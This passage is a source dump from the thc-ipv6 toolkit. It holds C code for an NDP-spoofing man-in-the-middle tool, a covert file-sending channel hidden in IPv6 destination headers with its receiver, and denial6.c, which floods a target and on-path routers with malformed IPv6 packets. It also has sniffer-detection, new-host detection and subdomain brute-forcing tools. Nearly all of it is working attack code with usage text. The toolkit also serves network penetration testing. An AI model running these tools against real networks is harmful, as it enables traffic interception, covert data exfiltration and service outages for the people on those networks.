*argv[]) { if (argc < 4) { printf("code by Fabricio Nogueira Buzeto and Carlos Botelho De Paula Filho\nCode based on thc-ipv6\n\n"); printf("Syntax: %s interface target1 target2\n\n", argv[0]); printf("NDP spoof between target1 and target2 to perform a man-in-the-middle attack.\n"); exit(-1); } memset((char*)&mArgs, 0, sizeof(mArgs)); mArgs.interface = argv[1]; mArgs.ipAddrVic1 = thc_resolve6(argv[2]); mArgs.macAddrVic1 = thc_get_mac(argv[1], NULL, mArgs.ipAddrVic1); mArgs.ownMac = thc_get_own_mac(argv[1]); mArgs.ownIp = thc_get_own_ipv6(argv[1], mArgs.ipAddrVic1, PREFER_LINK); mArgs.twoVics = 1; mArgs.ipAddrVic2 = thc_resolve6(argv[3]); mArgs.macAddrVic2 = thc_get_mac(argv[1], NULL, mArgs.ipAddrVic2); if (mArgs.ownIp == NULL) { fprintf(stderr, "ERROR: Invalid interface: %s\n", argv[1]); exit(-1); } if (mArgs.macAddrVic1 == NULL) { fprintf(stderr, "ERROR: Invalid target1: %s\n", argv[2]); exit(-1); } if (mArgs.macAddrVic2 == NULL) { fprintf(stderr, "ERROR: Invalid target2: %s\n", argv[3]); exit(-1); } spoofer(mArgs); printf("\nPress Control-C to end MITM spoofing...\n"); while(1) sleep(1); } thc-ipv6-3.8/contrib/spoofer.h000066400000000000000000000003301376121567700163250ustar00rootroot00000000000000#ifndef SPOOFER_H_ #define SPOOFER_H_ #include "data_structures.h" #if defined (SPOOFER_C) #define SPOOFER_EXT #else #define SPOOFER_EXT extern #endif SPOOFER_EXT void spoofer(MArgs mArgss); #endif /*SPOOFER_H_ */ thc-ipv6-3.8/covert_send6.c000066400000000000000000000123731376121567700156160ustar00rootroot00000000000000#include #include #include #include #ifndef _HAVE_SSL int main() { fprintf(stderr, "Error: thc-ipv6 was compiled without openssl support, covert_send6 " "disabled.\n"); return -1; } #else #if (_TAKE2 > 0) int main() { fprintf(stderr, "Error: tool does not work on big endian\n"); return -1; } #endif #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-m mtu] [-k key] [-s resend] interface target file " "[port]\n\n", prg); printf("Options:\n"); printf( " -m mtu specifies the maximum MTU (default: interface MTU, min: " "1000)\n"); printf(" -k key encrypt the content with Blowfish-160\n"); printf(" -s resend send each packet RESEND number of times, default: 1\n"); printf("\n"); printf( "Sends the content of FILE covertly to the target, And its POC - don't " "except\n"); printf( "too much sophistication - its just put into the destination header.\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, rbuf[3570], wbuf[3570], buf[4000]; unsigned char *src6 = NULL, *dst6 = NULL, srcmac[6] = "", *mac = srcmac, *dmac; int pkt1_len = 0, flags = 0, i = 0, mtu = 0, bytes, seq = 0, id, rounds, wbytes, bufsize = 0, send = 2, num = 0; char *interface, *key = NULL, hash[20], vec[8] = {0, 0, 0, 0, 0, 0, 0, 0}; ; int rawmode = 0, tcp_port = -1; FILE * f; BF_KEY bfkey; if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "rm:k:s:")) >= 0) { switch (i) { case 'r': rawmode = 1; thc_ipv6_rawmode(1); break; case 'k': key = optarg; break; case 'm': mtu = atoi(optarg); break; case 's': send = atoi(optarg); break; default: exit(-1); } } if (argc < optind + 2) { fprintf(stderr, "Error: Not enough parameters!\n"); help(argv[0]); } interface = argv[optind]; dst6 = thc_resolve6(argv[optind + 1]); if ((f = fopen(argv[optind + 2], "r")) == NULL) { fprintf(stderr, "Error: file %s not found\n", argv[optind + 2]); exit(-1); } if (argc >= optind + 4 && argv[optind + 3] != NULL) tcp_port = atoi(argv[optind + 3]); if (mtu == 0) mtu = thc_get_mtu(interface); if (mtu <= 1000) { fprintf(stderr, "Error: MTU of interface %s must be at least 1000 bytes\n", interface); exit(-1); } mac = thc_get_own_mac(interface); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((dmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "Error: can not get MAC for target\n"); exit(-1); } srand(getpid()); mtu -= 128; if (mtu % 255 == 0) i = 2 * (mtu / 255); else i = 2 + 2 * (mtu / 255); mtu = mtu - i; if ((mtu + i + 14) % 8 > 0) mtu = (((mtu + i + 14) / 8) * 8) - (i + 14); if (mtu > 14 * 255) mtu = 14 * 255; if (key != NULL) { memset(&bfkey, 0, sizeof(bfkey)); SHA1((unsigned char *)key, strlen(key), (unsigned char *)hash); BF_set_key(&bfkey, sizeof(hash), (unsigned char *)hash); memset(vec, 0, sizeof(vec)); num = 0; } id = rand(); buf[0] = 16; buf[1] = 4; memcpy(buf + 2, (char *)&id, 4); buf[6] = 17; buf[7] = 4; while ((bytes = fread(rbuf, 1, mtu, f)) > 0) { seq++; if (key != NULL) { BF_cfb64_encrypt((unsigned char *)rbuf, (unsigned char *)wbuf, bytes, &bfkey, (unsigned char *)vec, &num, BF_ENCRYPT); memcpy(rbuf, wbuf, bytes); } memcpy(buf + 8, (char *)&seq, 4); bufsize = 12; rounds = bytes / 255; for (i = 0; i <= rounds; i++) { buf[bufsize] = i + 18; if (i == rounds) wbytes = bytes % 255; else wbytes = 255; buf[bufsize + 1] = wbytes; memcpy(buf + bufsize + 2, rbuf + 255 * i, wbytes); bufsize += wbytes + 2; } if (bytes < mtu) { buf[bufsize] = 0x1f; buf[bufsize + 1] = 0; bufsize = bufsize + 2; } if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, bufsize)) return -1; if (tcp_port == -1) { if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_ECHOREQUEST, 0, flags, NULL, 0, 0) < 0) return -1; } else { if (thc_add_tcp(pkt1, &pkt1_len, (rand() % 45536) + 10000, tcp_port, rand(), 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; } if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Sending packet seq# %d\n", seq); for (i = 0; i < send; i++) { thc_send_pkt(interface, pkt1, &pkt1_len); usleep(100); } pkt1 = thc_destroy_packet(pkt1); } printf("All sent.\n"); return 0; } #endif thc-ipv6-3.8/covert_send6d.c000066400000000000000000000076011376121567700157600ustar00rootroot00000000000000#include #include #include #include #ifndef _HAVE_SSL int main() { fprintf(stderr, "Error: thc-ipv6 was compiled without openssl support, covert_send6d " "disabled.\n"); return -1; } #else #if (_TAKE2 > 0) int main() { fprintf(stderr, "Error: tool does not work on big endian\n"); return -1; } #endif #include #include #include #include #include #include #include #include #include "thc-ipv6.h" FILE * f; BF_KEY bfkey; int rawmode = 0, seq = 1, id = 0, num = 0; char hash[20] = "", *key = NULL, vec[8] = {0, 0, 0, 0, 0, 0, 0, 0}; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-k key] interface file\n\n", prg); printf("Options:\n"); printf(" -k key decrypt the content with Blowfish-160\n"); printf("\n"); printf("Writes covertly received content to FILE.\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, rlen, bytes = 0, hlen, end = 0, pos, dlen = 0, done = 0; unsigned char *ptr = (unsigned char *)data, rbuf[6000], wbuf[6000]; if (!rawmode) { if (do_hdr_size) { ptr += do_hdr_size; len -= do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else { ptr += 14; len -= 14; } } if (len < 58) // too short return; if (ptr[6] != NXT_DST) return; if (ptr[42] != 0x10 || ptr[43] != 4 || ptr[48] != 0x11 || ptr[49] != 4 || ptr[54] != 0x12) return; if (memcmp(ptr + 50, (char *)&seq, 4) != 0) return; if (seq == 1) memcpy((char *)&id, ptr + 44, 4); else if (memcmp(ptr + 44, (char *)&id, 4) != 0) return; dlen = 40 + (ptr[41] + 1) * 8; rlen = len - 54; pos = 54; while (rlen > 0 && end == 0 && dlen > pos && done == 0) { if (ptr[pos] == 0) done = 1; else if (ptr[pos] < 0x12) return; else if (ptr[pos] > 0x1f) return; else if (ptr[pos] == 0x1f) end = 1; else { if ((hlen = ptr[pos + 1]) >= rlen) return; if (bytes + hlen >= sizeof(rbuf)) return; memcpy(rbuf + bytes, ptr + pos + 2, hlen); rlen = rlen - (hlen + 2); pos = pos + hlen + 2; bytes = bytes + hlen; } } if (bytes > 0) { if (key != NULL) { BF_cfb64_encrypt((unsigned char *)rbuf, (unsigned char *)wbuf, bytes, &bfkey, (unsigned char *)vec, &num, BF_DECRYPT); memcpy(rbuf, wbuf, bytes); } fwrite(rbuf, 1, bytes, f); } printf("Received packet seq# %d\n", seq); seq++; if (end) { printf("All received.\n"); fclose(f); exit(0); } } int main(int argc, char *argv[]) { char * interface; pcap_t *p; int i; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "rk:")) >= 0) { switch (i) { case 'r': rawmode = 1; thc_ipv6_rawmode(1); break; case 'k': key = optarg; break; default: fprintf(stderr, "Unknown option\n"); exit(-1); } } interface = argv[optind]; if ((f = fopen(argv[optind + 1], "w")) == NULL) { fprintf(stderr, "Error: file %s cout not be created\n", argv[optind + 1]); exit(-1); } if (key != NULL) { memset(&bfkey, 0, sizeof(bfkey)); SHA1((unsigned char *)key, strlen(key), (unsigned char *)hash); BF_set_key(&bfkey, sizeof(hash), (unsigned char *)hash); memset(vec, 0, sizeof(vec)); num = 0; } if ((p = thc_pcap_init(interface, "ip6")) == NULL) { fprintf(stderr, "Error: could not capture on interface %s\n", interface); exit(-1); } while (1) { thc_pcap_check(p, (char *)check_packets, NULL); usleep(50); } return 0; } #endif thc-ipv6-3.8/create_network_map.sh000077500000000000000000000013141376121567700172520ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o '!' -e "$1" && { echo "Syntax: $0 file1 file2 file3 file4 ... > map.gv" echo Creates a GV file for use with Graphviz to create a network topology map echo file1 must have per line one entry only. echo "Afterwards run it like: dot -Tjpg map.gv > map.jpg" exit 1 } echo "digraph my_test {" echo " ratio = \"auto\";" echo " micross = 2.0;" echo " label = \"network topology map\";" #echo ' #"host_entry_example" [shape=box];' for i in $*; do FIRST="" CNT=1 while read l ; do test "$l" = "???" && l="$CNT-???-$CNT" test -n "$FIRST" && { echo " \"$FIRST\" -> \"$l\";" } CNT=`expr $CNT + 1` FIRST="$l" done < "$i" done | sort | uniq echo "}" thc-ipv6-3.8/denial6.c000066400000000000000000000305711376121567700145370ustar00rootroot00000000000000 /* * Tests various known IPv6 vulnerabilities against a target. * */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define MAX_TEST 7 int rawmode = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface destination test-case-number\n\n", prg); printf("Performs various denial of service attacks on a target\n"); printf( "If a system is vulnerable, it can crash or be under heavy load, so be " "careful!\n"); printf("The following test cases are currently implemented:\n"); printf( " 1 : large hop-by-hop header with router-alert and filled with unknown " "options\n"); printf(" 2 : large destination header filled with unknown options\n"); printf(" 3 : hop-by-hop header with router alert option plus 180 headers\n"); printf( " 4 : hop-by-hop header with router alert option plus 178 headers + " "ping\n"); printf(" 5 : AH header + ping\n"); printf( " 6 : first fragments of a ping with a hop-by-hop header with router " "alert\n"); printf( " 7 : large hop-by-hop header filled with unknown options (no router " "alert)\n"); // printf("Use -r to use raw mode.\n"); printf("\n"); exit(-1); } int main(int argc, char *argv[]) { int test = 0, count = 1, tmplen; unsigned char buf[65536], bla[1500], tests[256]; unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr * hdr; int i, j, k, srcmtu, fragsize; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500; char * interface, *randptr = NULL; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } interface = argv[1]; if ((dst6 = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: invalid target: %s\n", argv[2]); exit(-1); } // route6 = thc_resolve6("2a01::"); memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= 4) test = atoi(argv[3]); memset(null_buffer, 0, sizeof(null_buffer)); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: invalid interface: %s\n", interface); exit(-1); } srcmac = thc_get_own_mac(interface); if (rawmode == 0) { if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } } else dstmac = null_buffer; if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } fragsize = ((srcmtu - 62) / 8) * 8; setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(tests, 0, sizeof(tests)); memset(bla, 0, sizeof(bla)); if (test < 1 || test > MAX_TEST) { printf("%s %s (c) 2020 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface destination test-case-number\n\n", argv[0]); printf("The following test cases are currently implemented:\n"); printf( " 1 : large hop-by-hop header with router-alert and filled with " "unknown options\n"); printf(" 2 : large destination header filled with unknown options\n"); printf( " 3 : hop-by-hop header with router alert option plus 180 headers\n"); printf( " 4 : hop-by-hop header with router alert option plus 178 headers + " "ping\n"); printf(" 5 : AH header + ping\n"); printf( " 6 : first fragments of a ping with a hop-by-hop header with router " "alert\n"); printf( " 7 : large hop-by-hop header filled with unknown options (no router " "alert)\n"); exit(0); } printf("Performing denial of service test case no. %d attack on %s via %s:\n", test, argv[2], argv[1]); printf( "A \".\" is shown for every 1000 packets sent, press Control-C to " "end...\n"); /********************** TEST CASE PREPARATION *************************/ if (test == count) { // 1432 printf( "Test %d: large hop-by-hop header with router-alert and filled with " "unknown options.\n", count); printf( "WARNING: this attack affects all routers on the network path to the " "target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 5; buf[1] = 2; j = 4; i = 1; while (i <= 67) { k = (i % 63) + 1; buf[j] = k; switch (k) { case 38: // quickstart buf[j + 1] = 7; // length buf[j + 2] = 1; // request type + rate buf[j + 3] = 60; // qs-ttl buf[j + 4] = 8; // nonce j += 9; break; case 4: buf[j + 1] = 1; j += 3; break; case 0: case 5: buf[j] = 1; // fall through default: buf[j + 1] = 4; j += 6; } // j += buf[j + 1] + 2; i++; } // for (i = 1; i < 236; i++) { // buf[i * 6 - 2] = (i % 63) + 1; // buf[i * 6 - 1] = 4; // } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { // 1432 printf("Test %d: large destination header filled with unknown options.\n", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; for (i = 1; i < 237; i++) { buf[6 + i * 6] = (i % 63) + 1; buf[5 + i * 6] = 4; } if (thc_add_hdr_dst(pkt, &pkt_len, buf, 1416) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { j = (thc_get_mtu(interface) - 48) / 8; if (j < 150 || j > 8000) { fprintf(stderr, "Error: invalid MTU on interface\n"); exit(-1); } printf( "Test %d: hop-by-hop header with router alert option plus %d " "headers.\n", count, j); printf( "WARNING: this attack affects all routers on the network path to the " "target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; memset(buf, 0, 2); for (i = 0; i < j; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0) return -1; // thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, // 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { j = (thc_get_mtu(interface) - 64) / 8; if (j < 150 || j > 8000) { fprintf(stderr, "Error: invalid MTU on interface\n"); exit(-1); } printf( "Test %d: hop-by-hop header with router alert option plus %d headers " "plus ping.\n", count, j); printf( "WARNING: this attack affects all routers on the network path to the " "target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; memset(buf, 0, 2); for (i = 0; i < j; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { printf("Test %d: AH header plus ping.\n", count); printf( "WARNING: this attack affects all routers on the network path to the " "target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_misc(pkt, &pkt_len, NXT_AH, -1, (unsigned char *)&buf, 6 + 8) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *)pkt; if (do_hdr_size != 0) ipv6->pkt[do_hdr_size + 40 + 1] = 2; else ipv6->pkt[14 + 40 + 1] = 2; } count++; if (test == count) { printf("Test %d: first ping fragment with hop-by-hop and router alert.\n", count); printf( "WARNING: this attack affects all routers on the network path to the " "target!!\n"); sleep(3); buf[0] = 5; buf[1] = 2; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1, 0xfacebabe + getpid() + count)) return -1; buf[0] = ICMP6_MLD_REPORT; buf[1] = 0; buf[2] = 0xb0; buf[3] = 0x0b; if (thc_add_data6(pkt, &pkt_len, NXT_ICMP6, buf, 14)) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *)pkt; if (do_hdr_size != 0) randptr = ipv6->pkt + do_hdr_size + 40 + 8 + 4; else randptr = ipv6->pkt + 14 + 40 + 8 + 4; } count++; if (test == count) { // 1432 printf( "Test %d: large hop-by-hop header with filled with unknown options (no " "router alert).\n", count); printf( "WARNING: this attack affects all routers on the network path to the " "target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; j = 0; i = 1; while (i <= 67) { k = (i % 63) + 1; buf[j] = k; switch (k) { case 38: // quickstart buf[j + 1] = 7; // length buf[j + 2] = 1; // request type + rate buf[j + 3] = 60; // qs-ttl buf[j + 4] = 8; // nonce j += 9; break; case 4: buf[j + 1] = 1; j += 3; break; case 0: case 5: buf[j] = 1; // fall through default: buf[j + 1] = 4; j += 6; } // j += buf[j + 1] + 2; i++; } // for (i = 1; i < 236; i++) { // buf[i * 6 - 2] = (i % 63) + 1; // buf[i * 6 - 1] = 4; // } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { // dummy entry // code fprintf(stderr, "to implement\n"); exit(-1); } count++; /******************* END OF TESTCASE PREPARATION **************************/ count = 0; while (1) { thc_send_pkt(interface, pkt, &pkt_len); usleep(1); count++; if (randptr != NULL) memcpy(randptr, (char *)&count + _TAKE4, 4); if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/detect-new-ip6.c000066400000000000000000000047011376121567700157440ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned char *pkt = NULL, *dstmac, *dst; int pkt_len = 0; int mychecksum; char * interface, *script = NULL, es[300]; char * ptr3, *ptr4; int i; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface [script]\n\n", prg); printf("This tools detects new IPv6 addresses joining the local network.\n"); printf( "If script is supplied, it is executed with the detected IPv6 address as " "first\nand the interface as second command line option.\n\n"); exit(-1); } void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14); int len = header->caplen - 14; if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; } if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || len < 64) return; if (*(ipv6hdr + 8) + *(ipv6hdr + 9) + *(ipv6hdr + 10) + *(ipv6hdr + 11) + *(ipv6hdr + 12) + *(ipv6hdr + 13) + *(ipv6hdr + 14) + *(ipv6hdr + 15) != 0) return; if (debug) printf( "DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor " "solitication\n"); (void)wait3(NULL, WNOHANG, NULL); ptr4 = thc_ipv62notation((char *)(ipv6hdr + 48)); printf("Detected new ip6 address: %s\n", ptr4); if (script != NULL && fork() == 0) { snprintf(es, sizeof(es), "%s %s %s", script, ptr4, interface); if (system(es) < 0) fprintf(stderr, "Error: Executing failed - %s\n", es); exit(0); } free(ptr4); return; } int main(int argc, char *argv[]) { if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; if (argc > 2) script = argv[2]; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("Started ICMP6 DAD detection (Press Control-C to end) ...\n"); return thc_pcap_function(interface, "icmp6", (char *)intercept, 1, NULL); } thc-ipv6-3.8/detect_sniffer6.c000066400000000000000000000113251376121567700162630ustar00rootroot00000000000000 #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" struct timespec ts, ts2; int found = 0, oneonly = 0; char doubles[256][16]; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface [target6]\n\n", prg); printf("Tests if systems on the local LAN are sniffing.\n"); printf("Works against Windows, Linux, OS/X and *BSD\n"); printf( "If no target is given, the link-local-all-nodes address is used, " "which\nhowever not always works.\n"); exit(-1); } void alarming() { if (found == 0) printf("No packets received, no vulnerable system seems to be sniffing.\n"); else printf("%d sniffing host%s detected.\n", found, found == 1 ? "" : "s"); exit(0); } void check_packets(u_char *pingdata, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, ok = 0, i; unsigned char *ptr = (unsigned char *)data; if (do_hdr_size) { len -= do_hdr_size; ptr += do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else { len -= 14; ptr += 14; } if (len < 136) // ignoring too short packet return; for (i = 0; i < 8 && ok == 0; i++) if (memcmp(pingdata, data + 106 + i, 8) == 0) ok = 1; if (ok) { if (found) { for (i = 0; i < found && ok == 1; i++) if (memcmp(doubles[i], thc_ipv62notation(ptr + 8), 16) == 0) ok = 0; } if (ok) { printf(" Sniffing host detected: %s\n", thc_ipv62notation(ptr + 8)); memcpy(doubles[found], thc_ipv62notation(ptr + 8), 16); found++; if (oneonly) alarming(); } } } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, *pkt2 = NULL, buf[2096] = "thcping6", buf2[6]; unsigned char *src6 = NULL, *dst6 = NULL; unsigned char dmac[7] = {0x33, 0x33, 0xff, 0x01, 0x00, 0xfe, 0x00}; char string[255] = "icmp6 and dst ", *interface; int pkt1_len = 0, pkt2_len = 0, flags = 0, j; pcap_t * p; if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); memset(buf, 0, sizeof(buf)); for (j = 0; j < (128 / 8); j++) memcpy(buf + j * 8, "thcsniff", 8); memset(buf2 + 2, 0, 4); buf2[0] = NXT_INVALID; buf2[1] = 1; interface = argv[1]; if (argc == 3) { if ((dst6 = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: not a valid target: %s\n", argv[2]); exit(-1); } if (dst6[0] != 0xff) oneonly = 1; } else dst6 = thc_resolve6("ff02::1"); if ((src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: no IPv6 address found for interface %s!\n", interface); exit(-1); } if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_ECHOREQUEST, 0, flags, (unsigned char *)&buf, 128, 0) < 0) return -1; if (thc_generate_pkt(interface, NULL, dmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt2_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt2, &pkt2_len, (unsigned char *)&buf2, sizeof(buf2)) < 0) return -1; if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_ECHOREQUEST, 0, flags, (unsigned char *)&buf, 128, 0) < 0) return -1; if (thc_generate_pkt(interface, NULL, dmac, pkt2, &pkt2_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } strcat(string, thc_ipv62notation(src6)); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } signal(SIGALRM, alarming); alarm(3); printf("Sending sniffer detection packets to %s\n", thc_ipv62notation(dst6)); thc_send_pkt(interface, pkt1, &pkt1_len); thc_send_pkt(interface, pkt2, &pkt2_len); thc_send_pkt(interface, pkt1, &pkt1_len); thc_send_pkt(interface, pkt2, &pkt2_len); while (1) { thc_pcap_check(p, (char *)check_packets, buf); } return 0; // not reached } thc-ipv6-3.8/dnsdict6.c000066400000000000000000000725271376121567700147420ustar00rootroot00000000000000/* * dnsdict6 is actually based on dnsmap with four changes: * - threaded (way faster) * - bugfixes * - ipv6 support * - simplified options * - srv support * have fun! van Hauser / THC, (c) 2020 * * ** dnsmap - DNS Network Mapper by pagvac * ** Copyright (C) 2014 gnucitizen.org */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #include "dnsdict6.h" // built-in subdomains list //#define DEBUG 1 #define FALSE 0 #define TRUE 1 #define MAXSTRSIZE 200 #define DEFAULT_THREADS 8 #define MAX_THREADS 32 #define MAX_UNIQUE 4096 #define MAX_WCARD 8 char domain[256]; unsigned short int filtIPcount = 0, milliseconds = 10, ipCount = 0, ipCount4; unsigned short int intIPcount = 0, found = 0, txtResults = FALSE, do4 = 0, do6 = 1, dof = 0, dosrv = 0; unsigned short int csvResults = FALSE, do_a_delay = FALSE, ucount = 0, ucount4 = 0, ucountsrv = 0, ucountsrvs = 0, wcard = 0, wcard4 = 0; char wildcardIpStr[MAX_WCARD][INET_ADDRSTRLEN], wildcardIpStr4[MAX_WCARD][16], unique[MAX_UNIQUE][INET_ADDRSTRLEN], unique4[MAX_UNIQUE][16]; char ** sub = (char **)sub_medium, *type = ""; char *** lists; unsigned short int listptr[MAX_THREADS]; void *help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-d4] 